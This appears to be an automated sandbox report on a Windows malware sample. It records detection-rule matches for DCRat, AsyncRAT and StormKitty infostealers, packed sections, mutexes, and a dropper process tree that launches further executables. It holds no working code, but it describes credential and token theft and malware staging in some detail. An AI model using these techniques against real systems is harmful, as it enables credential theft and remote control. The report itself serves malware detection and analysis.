Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_0013CCA0	12_2_0013CCA0
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_0013ECD0	12_2_0013ECD0
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00149CD8	12_2_00149CD8
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00150CD8	12_2_00150CD8
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00132D17	12_2_00132D17
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00136D70	12_2_00136D70
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00138D76	12_2_00138D76
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_0012A574	12_2_0012A574
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00125590	12_2_00125590
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_001195A0	12_2_001195A0
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00115DC0	12_2_00115DC0
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_001345C0	12_2_001345C0
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00152DE0	12_2_00152DE0
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_001265EE	12_2_001265EE
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_0012BE00	12_2_0012BE00
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00116620	12_2_00116620
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00123E50	12_2_00123E50
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00125E42	12_2_00125E42
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00133E44	12_2_00133E44
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_0011AE60	12_2_0011AE60
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_0011D690	12_2_0011D690
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00128690	12_2_00128690
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_0014EE80	12_2_0014EE80
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_0014AEA0	12_2_0014AEA0
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00112EF0	12_2_00112EF0
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_0013DEE5	12_2_0013DEE5
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00129710	12_2_00129710
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_0012F710	12_2_0012F710
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_00137F8D	12_2_00137F8D
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_0014B7B0	12_2_0014B7B0
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_0012C7D0	12_2_0012C7D0
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: 12_2_001527E0	12_2_001527E0

Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: String function: 00123E40 appears 128 times
Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe	Code function: String function: 00117F90 appears 52 times

Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7544 -s 912

Source: oldVNC.exe.5.dr	Static PE information: Number of sections : 11 > 10
Source: oldVNC[1].exe.5.dr	Static PE information: Number of sections : 11 > 10

Source: random[2].exe.5.dr	Static PE information: Data appended to the last section found
Source: eb15c414be.exe.5.dr	Static PE information: Data appended to the last section found

Source: UWYXurYZ2x.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: dump.pcap, type: PCAP	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: dump.pcap, type: PCAP	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 11.0.usPaQ3D.exe.d10000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 11.0.usPaQ3D.exe.d10000.0.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 11.0.usPaQ3D.exe.d10000.0.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 11.0.usPaQ3D.exe.d10000.0.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 11.0.usPaQ3D.exe.d10000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 11.0.usPaQ3D.exe.d10000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 11.0.usPaQ3D.exe.d10000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 11.0.usPaQ3D.exe.d10000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 11.0.usPaQ3D.exe.d10000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 11.0.usPaQ3D.exe.d10000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 11.0.usPaQ3D.exe.d10000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 11.0.usPaQ3D.exe.e35b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 11.0.usPaQ3D.exe.e35b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 11.0.usPaQ3D.exe.e35b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 11.0.usPaQ3D.exe.e35b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 11.0.usPaQ3D.exe.e35b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 11.0.usPaQ3D.exe.e35b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 11.0.usPaQ3D.exe.e35b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 11.0.usPaQ3D.exe.e35b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 11.0.usPaQ3D.exe.e35b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 11.0.usPaQ3D.exe.e35b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 13.0.oldVNC.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 0000000B.00000000.2129195182.0000000000D12000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: Process Memory Space: usPaQ3D.exe PID: 1552, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: usPaQ3D.exe PID: 1552, type: MEMORYSTR	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, type: DROPPED	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, type: DROPPED	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, type: DROPPED	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, type: DROPPED	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, type: DROPPED	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, type: DROPPED	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, type: DROPPED	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, type: DROPPED	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, type: DROPPED	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, type: DROPPED	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\usPaQ3D[1].exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\oldVNC[1].exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers

Source: UWYXurYZ2x.exe	Static PE information: Section: ZLIB complexity 0.998446014986376
Source: UWYXurYZ2x.exe	Static PE information: Section: uxuphkme ZLIB complexity 0.9945530752478222
Source: skotes.exe.1.dr	Static PE information: Section: ZLIB complexity 0.998446014986376
Source: skotes.exe.1.dr	Static PE information: Section: uxuphkme ZLIB complexity 0.9945530752478222
Source: random[1].exe.5.dr	Static PE information: Section: ZLIB complexity 1.000271096214511
Source: random[1].exe.5.dr	Static PE information: Section: xhiufuko ZLIB complexity 0.9949034716945289
Source: fe4d890d0f.exe.5.dr	Static PE information: Section: ZLIB complexity 1.000271096214511
Source: fe4d890d0f.exe.5.dr	Static PE information: Section: xhiufuko ZLIB complexity 0.9949034716945289
Source: random[2].exe.5.dr	Static PE information: Section: ZLIB complexity 0.9968845858895705
Source: random[2].exe.5.dr	Static PE information: Section: gyqqudfz ZLIB complexity 0.9953407822049836
Source: eb15c414be.exe.5.dr	Static PE information: Section: ZLIB complexity 0.9968845858895705
Source: eb15c414be.exe.5.dr	Static PE information: Section: gyqqudfz ZLIB complexity 0.9953407822049836
Source: HNsLLEj[1].exe.5.dr	Static PE information: Section: .idata ZLIB complexity 1.0005296610169492
Source: HNsLLEj.exe.5.dr	Static PE information: Section: .idata ZLIB complexity 1.0005296610169492
Source: bKIFsVe[1].exe.5.dr	Static PE information: Section: ZLIB complexity 0.9968845858895705
Source: bKIFsVe[1].exe.5.dr	Static PE information: Section: gyqqudfz ZLIB complexity 0.9941244977514008
Source: bKIFsVe.exe.5.dr	Static PE information: Section: ZLIB complexity 0.9968845858895705
Source: bKIFsVe.exe.5.dr	Static PE information: Section: gyqqudfz ZLIB complexity 0.9941244977514008
Source: random[1].exe1.5.dr	Static PE information: Section: ZLIB complexity 0.9974508259536785
Source: random[1].exe1.5.dr	Static PE information: Section: mqypurkv ZLIB complexity 0.9946822045554577
Source: b2ee16741f.exe.5.dr	Static PE information: Section: ZLIB complexity 0.9974508259536785
Source: b2ee16741f.exe.5.dr	Static PE information: Section: mqypurkv ZLIB complexity 0.9946822045554577

Source: bKIFsVe.exe.5.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: bKIFsVe[1].exe.5.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.phis.troj.spyw.evad.winEXE@109/90@32/18

Source: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe

Code function: 12_2_00140050 CoCreateInstance,

12_2_00140050

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\oavvDqT[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5664:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\1039079001\b2ee16741f.exe	Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6224:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	Mutant created: \Sessions\1\BaseNamedObjects\d09c8213-3b45-456b-a10d-a1d1935fbb0f
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8108:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5084:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7552:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5264:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7544
Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Mutant created: \Sessions\1\BaseNamedObjects\TzwV6ZukBOjIJHZ2qrJ06bJLLT50YqNRqjjpTlWHUrC0KcCxCGZ7aSIyV6ZmGXAABvWGNlCtiq3qtzZnMbo1Vg==

Source: C:\Users\user\Desktop\UWYXurYZ2x.exe

File created: C:\Users\user~1\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\7EA0.tmp\7EB1.tmp\7EB2.bat C:\Users\user~1\AppData\Local\Temp\1038971001\5f6d06eefa.exe"

Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor

Source: C:\Users\user\Desktop\UWYXurYZ2x.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\UWYXurYZ2x.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: oldVNC.exe, 0000000D.00000000.2261750305.00000000008FE000.00000008.00000001.01000000.0000000E.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: oldVNC.exe, 0000000D.00000000.2261750305.00000000008FE000.00000008.00000001.01000000.0000000E.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: oldVNC.exe, 0000000D.00000000.2261750305.00000000008FE000.00000008.00000001.01000000.0000000E.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: oldVNC.exe, 0000000D.00000000.2261750305.00000000008FE000.00000008.00000001.01000000.0000000E.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: usPaQ3D.exe, 0000000B.00000002.2864808255.000000001BD56000.00000004.00000020.00020000.00000000.sdmp, usPaQ3D.exe, 0000000B.00000002.2646654757.0000000003514000.00000004.00000800.00020000.00000000.sdmp, usPaQ3D.exe, 0000000B.00000002.2646654757.0000000003910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: UWYXurYZ2x.exe	Virustotal: Detection: 54%
Source: UWYXurYZ2x.exe	ReversingLabs: Detection: 63%

Source: UWYXurYZ2x.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\UWYXurYZ2x.exe

File read: C:\Users\user\Desktop\UWYXurYZ2x.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\UWYXurYZ2x.exe "C:\Users\user\Desktop\UWYXurYZ2x.exe"
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1034725001\oavvDqT.exe "C:\Users\user~1\AppData\Local\Temp\1034725001\oavvDqT.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1034761001\13Z5sqy.exe "C:\Users\user~1\AppData\Local\Temp\1034761001\13Z5sqy.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe "C:\Users\user~1\AppData\Local\Temp\1037345001\usPaQ3D.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1038070001\WZMQlGj.exe "C:\Users\user~1\AppData\Local\Temp\1038070001\WZMQlGj.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1038359001\oldVNC.exe "C:\Users\user~1\AppData\Local\Temp\1038359001\oldVNC.exe"
